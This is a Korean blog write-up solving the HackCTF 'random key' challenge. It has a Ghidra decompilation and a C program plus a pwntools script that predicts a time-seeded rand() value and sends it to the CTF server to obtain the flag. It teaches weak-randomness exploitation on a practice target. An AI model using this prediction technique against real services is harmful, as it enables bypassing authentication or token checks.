HackCTF random key Write-Up

juuun0·2022년 1월 24일
1
post-thumbnail

동적 분석

프로그램을 실행하면 "Input Key" 항목을 입력받고 값을 임의의 값을 입력하였을 때 "Nah..." 라는 내용이 출력된 후 실행이 종료되었습니다. 보통 해당 문구가 입력값과 대상값이 일치하지 않을 때 출력되는 것을 감안하면 random 값을 맞춰야 하는 것으로 예상되었습니다.

Overflow가 발생하는지에 대해서도 확인해보았지만 특별한 동작은 확인할 수 없었습니다.


정적 분석

Ghidra를 이용한 Decompile 결과를 바탕으로 분석을 진행하였습니다.

void main(void)

{
  time_t tVar1;
  long in_FS_OFFSET;
  int local_18;
  int local_14;
  undefined8 local_10;

  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  setbuf(stdout,(char *)0x0);
  local_14 = 0;
  local_18 = 0;
  tVar1 = time((time_t *)0x0);
  srand((uint)tVar1);
  local_14 = rand();
  puts("============================");
  puts(&DAT_00400948);
  puts("============================");
  printf("Input Key : ");
  __isoc99_scanf(&DAT_00400978,&local_18);
  if (local_14 == local_18) {
    puts("Correct!");
    system("cat /home/random/flag");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("Nah...");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

local_18의 경우 사용자의 입력값이며 이를 local_14와 비교하여 일치 시 flag를 출력해줍니다. local_14의 경우 현재의 unix time을 기반으로 seed를 생성 후 이를 기반으로 rand() 값을 저장합니다.

또한 scanf로 입력받을 때 %d를 사용하기 때문에 overflow가 불가능한 것 또한 확인할 수 있었습니다.

이외에도 생성된 random key 값을 추출해내기 위한 별도의 사용 가능한 취약점이 안보였기에 좀 많이 당황스러웠습니다. 혹시나 canary의 추출 방법 중 하나인 brute force를 통해 가능한지 생각했으나 동작을 수행 후 exit로 종료하기 때문에 이 또한 불가능해보였습니다.

최종 exploit의 경우 seed를 현재 unix time을 이용한다는 점에서 local에서 random 값을 생성하는 프로그램을 작성 후, 이를 토대로 payload를 작성하여 성공하였습니다.


Exploit

  • random 값 생성
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

void main()
{
        int r = 0;
        srand(time(NULL));
        r = rand();
        printf("%d\n", r); 
}
  • PoC
#!/usr/bin/python3

from pwn import *

#p = process("./random")
p = remote("ctf.j0n9hyun.xyz", 3014)
v = process("./value")

key = int(v.recvline().decode('utf-8').strip("\n"))
p.sendlineafter(" : ", str(key))

log.info("key: " + str(key))
p.interactive()
profile
To be

0개의 댓글